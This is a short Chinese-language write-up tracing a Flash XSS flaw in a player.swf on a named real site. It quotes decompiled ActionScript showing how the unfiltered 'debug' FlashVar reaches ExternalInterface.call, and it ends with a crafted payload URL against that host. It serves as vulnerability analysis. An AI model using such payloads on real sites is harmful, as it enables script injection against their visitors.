简单分析个 flash xss
url: http://yximg.mop.com/minisite/201007/baodaopage/Scripts/player.swf
wget 下来,反编译,看到是 as3 的,搜索 loaderinfo,发现:
public function loadConfig():void{
this.loadCookies();
if (this.xmlConfig){
this.loadXML(this.xmlConfig);
} else {
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
};
}
可以看到 loaderinfo.parameters 被带入了 loadFlashvars,搜索这个函数,看看它是怎么定义的:
public function loadFlashvars(_arg1:Object):void{
var param: = null;
var params: = _arg1;
try {
for (param in params) {
this.setConfigParam(param, params[param]);
};
dispatchEvent(new Event(Event.COMPLETE));
} catch(e:Error) {
dispatchEvent(new ErrorEvent(ErrorEvent.ERROR, false, false, e.message));
};
}
看到这句 this.setConfigParam(param, params[param]);
,然后跟踪 setConfigParam
:
private function setConfigParam(_arg1:String, _arg2:String):void{
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.decode(_arg2));
}
这里可以看到参数被传到了 config
中,然后我们再看对 config
进行了那些调用,搜索 _config
:
private static function send(_arg1:String):void{
var _local2:String = (_config) ? _config.debug : TRACE;
switch (_local2){
case ARTHROPOD:
CONNECTION.send(CONNECTION_NAME, “debug”, “CDC309AF”, _arg1, 0xCCCCCC);
break;
case CONSOLE:
if (ExternalInterface.available){
ExternalInterface.call(“console.log”, _arg1);
};
break;
case TRACE:
trace(_arg1);
break;
case NONE:
break;
default:
if (ExternalInterface.available){
ExternalInterface.call(_config.debug, _arg1);
};
};
}
此时已经明了,debug
参数未经过滤最后被 ExternalInterface.call
调用了,于是我们构造如下:
http://yximg.mop.com/minisite/201007/baodaopage/Scripts/player.swf?debug=alert(/ hello,world/));}catch(e){};//